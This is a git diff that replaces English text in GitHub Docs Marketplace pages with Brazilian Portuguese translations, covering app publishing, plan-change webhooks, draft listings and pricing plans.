+Para publicar planos pagos para o seu aplicativo e exibir um selo do Marketplace, você deve concluir o processo de verificação do publicador. Para obter mais informações, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" ou "[Requisitos para anunciar um aplicativo](/developers/github-marketplace/requirements-for-listing-an-app)".
 
-Once the organization meets the requirements, someone with owner permissions in the organization can publish paid plans for any of their apps. Each app with a paid plan also goes through a financial onboarding process to enable payments.
+Uma vez que a organização atenda aos requisitos, alguém com permissões de proprietário na organização pode publicar planos pagos para qualquer um dos aplicativos. Cada aplicativo com um plano pago também passa por um processo de integração financeira para habilitar pagamentos.
 
-To publish apps with free plans, you only need to meet the general requirements for listing any app. For more information, see "[Requirements for all GitHub Marketplace listings](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)."
+Para publicar aplicativos com planos grátis, você só precisa atender aos requisitos gerais para anunciar qualquer aplicativo. Para obter mais informações, consulte "[Requisitos para todos os anúncios do GitHub Marketplace](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)".
 
-### New to apps?
+### Novo nos aplicativos?
 
-If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)."
+Se você estiver interessado em criar um aplicativo para {% data variables.product.prodname_marketplace %}, mas você é novo em {% data variables.product.prodname_github_apps %} ou {% data variables.product.prodname_oauth_apps %}, consulte "[Criando {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" ou "[Criando {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)."
 
 ### {% data variables.product.prodname_github_apps %} vs. {% data variables.product.prodname_oauth_apps %}
 
-{% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_apps %} to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)."
+{% data reusables.marketplace.github_apps_preferred %}, embora você possa anunciar OAuth e {% data variables.product.prodname_github_apps %} em {% data variables.product.prodname_marketplace %}. Para obter mais informações, consulte "[Diferenças entre {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" e "[Fazendo a migração de {% data variables.product.prodname_oauth_apps %} para {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)".
 
-## Publishing an app to {% data variables.product.prodname_marketplace %} overview
+## Publicar um aplicativo na visão geral de {% data variables.product.prodname_marketplace %}
 
-When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is:
+Ao terminar de criar seu aplicativo, você poderá compartilhá-lo com outros usuários publicando-o em {% data variables.product.prodname_marketplace %}. Em resumo, o processo é:
 
-1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)."
+1. Revise cuidadosamente o seu app para garantir que se comportará como esperado em outros repositórios e que segue as diretrizes das práticas recomendadas. Para obter mais informações, consulte "[as práticas de segurança recomendadas para os aplicativos](/developers/github-marketplace/security-best-practices-for-apps)" e "[requisitos para listar um app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)".
 
-1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+1. Adicionar eventos webhook ao aplicativo para rastrear solicitações de cobrança do usuário. Para obter mais informações sobre a API de {% data variables.product.prodname_marketplace %}, eventos de webhook e solicitações de cobrança, consulte "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)."
+1. Crie um rascunho de listagem de {% data variables.product.prodname_marketplace %} Para obter mais informações, consulte "[Criar uma listagem para o seu aplicativo](/developers/github-marketplace/drafting-a-listing-for-your-app)".
 
-1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+1. Adicionar um plano de preços. Para obter mais informações, consulte "[Configurar planos de preços para sua listagem](/developers/github-marketplace/setting-pricing-plans-for-your-listing)".
 
-1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement."
+1. Leia e aceite os termos do "\[Contrato de desenvolvedor de {% data variables.product.prodname_marketplace %}\](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement."
 
-1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)."
+1. Envie seu anúncio para publicação em {% data variables.product.prodname_marketplace %}. Para obter mais informações, consulte "[Enviar sua listagem para publicação](/developers/github-marketplace/submitting-your-listing-for-publication)".
 
-## Seeing how your app is performing
+## Ver como seu aplicativo está sendo executado
 
-You can access metrics and transactions for your listing. For more information, see:
+Você pode acessar métricas e transações para a sua listagem. Para obter mais informações, consulte:
 
-- "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)"
-- "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)"
+- "[Visualizar métricas para a sua listagem](/developers/github-marketplace/viewing-metrics-for-your-listing)"
+- "[Visualizar transações para a sua listagem](/developers/github-marketplace/viewing-transactions-for-your-listing)"
 
-## Contacting Support 
+## Entrar em contato com o suporte
 
-If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly.
+Em caso de dúvidas dúvidas sobre {% data variables.product.prodname_marketplace %}, entre em contato diretamente com {% data variables.contact.contact_support %}.
diff --git a/translations/pt-BR/content/developers/github-marketplace/index.md b/translations/pt-BR/content/developers/github-marketplace/index.md
index 7bfbc295fd..99bfb3f03a 100644
--- a/translations/pt-BR/content/developers/github-marketplace/index.md
+++ b/translations/pt-BR/content/developers/github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Marketplace
-intro: 'List your tools in {% data variables.product.prodname_dotcom %} Marketplace for developers to use or purchase.'
+intro: 'Liste suas ferramentas no Markeplace do {% data variables.product.prodname_dotcom %} para os desenvolvedores usarem ou comprarem.'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace
   - /apps/marketplace
diff --git a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
index d1b387eead..54a8077e12 100644
--- a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
+++ b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a webhook to notify you of plan changes
-intro: 'After [creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), you can configure a webhook that notifies you when changes to customer account plans occur. After you configure the webhook, you can [handle the `marketplace_purchase` event types](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) in your app.'
+title: Configurar um webhook para notificá-lo de alterações de plano
+intro: 'Após [criar um rascunho da listagem do {% data variables.product.prodname_marketplace %} ](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), você pode configurar um webhook que notifica você quando ocorrem alterações nos planos da conta do cliente. Após configurar o webhook, você pode [gerenciar os tipos de evento `marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) no seu aplicativo.'
 redirect_from:
   - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing
   - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing
@@ -13,32 +13,33 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhooks for plan changes
+shortTitle: Webhooks para mudanças de plano
 ---
-The {% data variables.product.prodname_marketplace %} event webhook can only be set up from your application's {% data variables.product.prodname_marketplace %} listing page. You can configure all other events from your [application's developer settings page](https://github.com/settings/developers). If you haven't created a {% data variables.product.prodname_marketplace %} listing, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how.
 
-## Creating a webhook
+O evento do webhook do {% data variables.product.prodname_marketplace %} só pode ser configurado a partir da página de listagem {% data variables.product.prodname_marketplace %} do seu aplicativo. Você pode configurar todos os outros eventos a partir da [página de configurações de desenvolvedor do seu aplicativo](https://github.com/settings/developers). Se você não criou uma listagem do {% data variables.product.prodname_marketplace %}, leia "[Criando um rascunho da listagem {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" para aprender como fazê-lo.
 
-To create a webhook for your {% data variables.product.prodname_marketplace %} listing, click **Webhook** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). You'll see the following webhook configuration options needed to configure your webhook:
+## Criar um webhook
 
-### Payload URL
+Para criar um webhook para sua listagem do {% data variables.product.prodname_marketplace %}, clique em **Webhook** na barra lateral esquerda da sua [página de listagem do {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). Você verá as seguintes opções de configuração de webhook necessárias para configurar seu webhook:
+
+### URL de carga
 
 {% data reusables.webhooks.payload_url %}
 
-### Content type
+### Tipo de conteúdo
 
-{% data reusables.webhooks.content_type %} GitHub recommends using the `application/json` content type.
+{% data reusables.webhooks.content_type %} O GitHub recomenda usar o tipo de conteúdo `application/json`.
 
-### Secret
+### Segredo
 
 {% data reusables.webhooks.secret %}
 
-### Active
+### Ativo
 
-By default, webhook deliveries are "Active." You can choose to disable the delivery of webhook payloads during development by deselecting "Active." If you've disabled webhook deliveries, you will need to select "Active" before you submit your app for review.
+Por padrão, as entregas de webhook estão "Ativas". Você pode optar por desativar a entrega das cargas de webhook durante o desenvolvimento, desmarcando "Ativo". Se você desativou as entregas do webhook, será necessário selecionar "Ativo" antes de enviar seu aplicativo para revisão.
 
-## Viewing webhook deliveries
+## Visualizar entregas do webhook
 
-Once you've configured your {% data variables.product.prodname_marketplace %} webhook, you'll be able to inspect `POST` request payloads from the **Webhook** page of your application's [{% data variables.product.prodname_marketplace %} listing](https://github.com/marketplace/manage). GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+Uma vez configurado seu webhook do {% data variables.product.prodname_marketplace %} , você poderá inspecionar as cargas de solicitação de `POST` da página do **Webhook** da lista do seu aplicativo do [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). O GitHub não reenvia tentativas falhas de entrega. Certifique-se de que seu aplicativo possa receber todas as cargas do webhook enviadas pelo GitHub.
 
-![Inspect recent {% data variables.product.prodname_marketplace %} webhook deliveries](/assets/images/marketplace/marketplace_webhook_deliveries.png)
+![Inspecione as entregas recentes do webhook de {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_webhook_deliveries.png)
diff --git a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
index 9dd64a8959..a08394c8cb 100644
--- a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
+++ b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Drafting a listing for your app
-intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.'
+title: Elaborar uma listagem para o seu aplicativo
+intro: 'Ao criar uma listagem do {% data variables.product.prodname_marketplace %}, o GitHub salva-na no modo rascunho até que você envie o aplicativo para aprovação. Sua listagem mostra aos clientes como podem usar seu aplicativo.'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
@@ -18,51 +18,50 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Draft an app listing
+shortTitle: Elabore um anúncio para aplicativos
 ---
-## Create a new draft {% data variables.product.prodname_marketplace %} listing
 
-You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing:
+## Crie um novo rascunho da listagem do {% data variables.product.prodname_marketplace %}
 
-* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
-* [Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
-* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+Você só pode criar rascunhos de listagem para aplicativos públicos. Antes de criar o seu rascunho de listagem, você pode ler as diretrizes a seguir para escrever e definir configurações na sua listagem do {% data variables.product.prodname_marketplace %}:
 
-To create a {% data variables.product.prodname_marketplace %} listing:
+* [Escrever descrições de listagem do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
+* [Definir um plano de preços do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
+* [Configurar o Webhook do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+
+Para criar uma listagem do {% data variables.product.prodname_marketplace %}:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
-3. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}.
+3. Na barra lateral esquerda, clique em **Aplicativos OAuth** ou **Aplicativos GitHub**, dependendo do aplicativo que você está adicionando ao {% data variables.product.prodname_marketplace %}.
 
   {% note %}
 
-  **Note**: You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**.
+  **Observação**: Você também pode adicionar uma listagem acessando https://github.com/marketplace/new, visualizando seus aplicativos disponíveis e clicando em **Criar rascunho de listagem**.
 
   {% endnote %}
 
-  ![App type selection](/assets/images/settings/apps_choose_app.png)
+  ![Seleção do tipo de aplicativo](/assets/images/settings/apps_choose_app.png)
 
-4. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}.
-![App selection for {% data variables.product.prodname_marketplace %} listing](/assets/images/github-apps/github_apps_select-app.png)
+4. Selecione o aplicativo que você gostaria de adicionar ao {% data variables.product.prodname_marketplace %}. ![Seleção de aplicativo para listagem do {% data variables.product.prodname_marketplace %}](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.edit_marketplace_listing %}
-5. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete.
-![GitHub Marketplace listing](/assets/images/marketplace/marketplace_listing_overview.png)
+5. Uma vez criado um novo rascunho da listagem, você verá um resumo das seções que você precisará visitar antes da sua listagem do {% data variables.product.prodname_marketplace %} ser concluída. ![Listagem do GitHub Marketplace](/assets/images/marketplace/marketplace_listing_overview.png)
 
 
 {% note %}
 
-**Note:** In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships.
+**Observação:** Na seção "Informações de contato" da sua listagem, recomendamos o uso de endereços de e-mail individuais, em vez de agrupar endereços de e-mail como, por exemplo, support@domain.com. O GitHub usará estes endereços de e-mail para entrar em contato com você sobre atualizações do {% data variables.product.prodname_marketplace %} que podem afetar a sua listagem, novas versões de recurso, oportunidades de marketing, pagamentos e informações sobre conferências e patrocínios.
 
 {% endnote %}
 
-## Editing your listing
+## Editar sua listagem
 
-Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+Após criar um rascunho da listagem do {% data variables.product.prodname_marketplace %}, você poderá voltar e modificar as informações na sua listagem a qualquer momento. Se o seu aplicativo já está aprovado e encontra-se no {% data variables.product.prodname_marketplace %}, você pode editar as informações e imagens na sua listagem, mas você não poderá alterar os planos de preços existentes publicados. Consulte "[Configurando um plano de preços de listagem do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/). "
 
-## Submitting your app
+## Enviar o seu aplicativo
 
-Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process.
+Após concluir a sua listagem do {% data variables.product.prodname_marketplace %}, você poderá enviá-la para revisão na página **Visão geral**. Você vai precisar ler e aceitar o "[{% data variables.product.prodname_marketplace %} Contrato de desenvolvedor](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)" e, em seguida, você poderá clicar em **Enviar para revisão**. Depois de enviar seu aplicativo para análise, um especialista em integração entrará em contato com você com informações adicionais sobre o processo de integração.
 
-## Removing a {% data variables.product.prodname_marketplace %} listing
+## Remover uma listagem do {% data variables.product.prodname_marketplace %}
 
-If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing.
+Se você não quiser mais listar seu aplicativo em {% data variables.product.prodname_marketplace %}, entre em contato {% data variables.contact.contact_support %} para remover o seu anúncio.
diff --git a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
index c587c34a71..a7f7398113 100644
--- a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
+++ b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Listing an app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for listing your app on {% data variables.product.prodname_marketplace %}.'
+title: Listar um aplicativo no GitHub Marketplace
+intro: 'Saiba mais sobre requisitos e práticas recomendadas para listar seu app no {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace
@@ -21,6 +21,6 @@ children:
   - /setting-pricing-plans-for-your-listing
   - /configuring-a-webhook-to-notify-you-of-plan-changes
   - /submitting-your-listing-for-publication
-shortTitle: List an app on the Marketplace
+shortTitle: Anuncie um aplicativo no Marketplace
 ---
 
diff --git a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
index ffdba1e720..bc6d7aea1e 100644
--- a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
+++ b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Setting pricing plans for your listing
-intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.'
+title: Definir planos de cobrança para sua listagem
+intro: 'Quando você listar seu aplicativo em {% data variables.product.prodname_marketplace %}, você poderá escolher fornecer seu aplicativo como um serviço grátis ou vender seu aplicativo. Se você pretende vender seu aplicativo, você pode criar planos de preços diferentes para diferentes níveis de recursos.'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
@@ -19,69 +19,70 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Set listing pricing plans
+shortTitle: Definir os planos de preços do anúncio
 ---
-## About setting pricing plans
 
-{% data variables.product.prodname_marketplace %} offers several different types of pricing plans. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)."
+## Sobre a configuração dos planos de preços
 
-To offer a paid plan for your app, your app must be owned by an organization that has completed the publisher verification process and met certain criteria. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" and "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)."
+{% data variables.product.prodname_marketplace %} oferece vários tipos diferentes de planos de preços. Para obter informações detalhadas, consulte "[Planos de preços para {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)".
 
-If your app is already published with a paid plan and you're a verified publisher, then you can publish a new paid plan from the "Edit a pricing plan" page in your Marketplace app listing settings. 
+Para oferecer um plano pago para seu aplicativo, este deve ser pertencente a uma organização que tenha concluído o processo de verificação de editor e atendido a certos critérios. Para obter mais informações, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" e "[Requisitos para listar um aplicativo em {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)".
 
-![Publish this plan button](/assets/images/marketplace/publish-this-plan-button.png)
+Se seu aplicativo já foi publicado com um plano pago e você é um editor verificado, você poderá publicar um novo plano pago a partir da página "Editar um plano de preços" nas configurações da listagem do seu aplicativo do Marketplace.
 
-If your app is already published with a paid plan and but you are not a verified publisher, then you can cannot publish a new paid plan until you are a verified publisher. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+![Botão Publicar este plano](/assets/images/marketplace/publish-this-plan-button.png)
 
-## About saving pricing plans
+Se seu aplicativo já foi publicado com um plano pago, mas você não é um editor verificado, você não poderá publicar um novo plano pago até que um editor seja verificado. Para obter mais informações sobre como se tornar um editor verificado, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
 
-You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans.
+## Sobre como salvar planos de preços
 
-For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)."
+Você pode salvar planos de preços com status de rascunho ou publicado. Se você não enviou seu anúncio de {% data variables.product.prodname_marketplace %} para aprovação, um plano publicado funcionará da mesma forma que um plano provisório até que o seu anúncio seja aprovado e exibido em {% data variables.product.prodname_marketplace %}. Os planos de rascunho permitem criar e salvar novos planos de preços sem torná-los disponíveis na sua página de anúncio de {% data variables.product.prodname_marketplace %}. Depois de publicar um plano de preços em um anúncio publicado, os clientes poderão comprar imediatamente. Você pode publicar até 10 planos de preços.
 
-## Creating pricing plans
+Para obter diretrizes sobre os clientes de cobrança, consulte "[Clientes de cobrança](/developers/github-marketplace/billing-customers)".
 
-To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)."
+## Criar planos de preços
 
-When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan:
+Para criar um plano de preços para a sua listagem do {% data variables.product.prodname_marketplace %}, clique em **Planos e preços** na barra lateral esquerda da sua [página de listagem do {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/manage). Para obter mais informações, consulte "[Criar um rascunho de anúncio de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)."
 
-- **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like.
+Ao clicar em **Novo rascunho do plano**, você verá um formulário que permite que você personalize o seu plano de preços. Você precisará configurar os seguintes campos para criar um plano de preços:
 
-- **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans:
+- **Nome do plano** - O nome do seu plano de preços aparecerá na página inicial do aplicativo de {% data variables.product.prodname_marketplace %}. Você pode personalizar o nome do seu plano de preços para se alinhar com os recursos do plano, o tamanho da empresa que usará o plano ou qualquer coisa que desejar.
 
-  - You must set a price for both monthly and yearly subscriptions in US dollars.
-  - Your app must process plan change events.
-  - You must request verification to publish a listing with a paid plan.
+- **Modelos de preços** - Existem três tipos de plano de preços: gratuito, taxa fixa e por unidade. Todos os planos exigem que você processe novos eventos de compra e cancelamento da API do marketplace. Além disso, para os planos pagos:
+
+  - Você deve definir um preço para as assinaturas mensais e anuais em dólar.
+  - Seu aplicativo deve processar eventos de mudança de plano.
+  - Você deve solicitar verificação para publicar um anúncio com um plano pago.
   - {% data reusables.marketplace.marketplace-pricing-free-trials %}
 
-  For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+  Para obter informações detalhadas, consulte "[Planos de preços para aplicativos de {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" e "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-- **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account.
+- **Disponível para** - planos de preços de {% data variables.product.prodname_marketplace %} podem ser aplicados a **Contas pessoais e da organização**, **apenas contas pessoais**ou **apenas contas de organização**. Por exemplo, se o seu plano de preços for por unidade e fornecer várias estações, você selecionaria **apenas contas de organização**, porque não há nenhuma maneira de atribuir estações a pessoas de uma organização a partir de uma conta pessoal.
 
-- **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes.
+- **Breve descrição** - Escreva um breve resumo dos detalhes do plano de preços. A descrição pode incluir o tipo de cliente para o qual o plano se destina ou os recursos que o plano inclui.
 
-- **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan.
+- **Marcadores** - Você pode escrever até quatro marcadores que incluem mais detalhes sobre o seu plano de precificação. Os marcadores podem incluir casos de uso do seu aplicativo ou listar informações mais detalhadas sobre as características ou os recursos incluídos no plano.
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan
+## Alterar um plano de preços da listagem do {% data variables.product.prodname_marketplace %}
 
-If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.
+Se um plano de preços para o seu anúncio de {% data variables.product.prodname_marketplace %} não for mais necessário, ou se você precisar ajustar os detalhes de preços, você poderá removê-lo.
 
-![Button to remove your pricing plan](/assets/images/marketplace/marketplace_remove_this_plan.png)
+![Botão para remover o seu plano de preços](/assets/images/marketplace/marketplace_remove_this_plan.png)
 
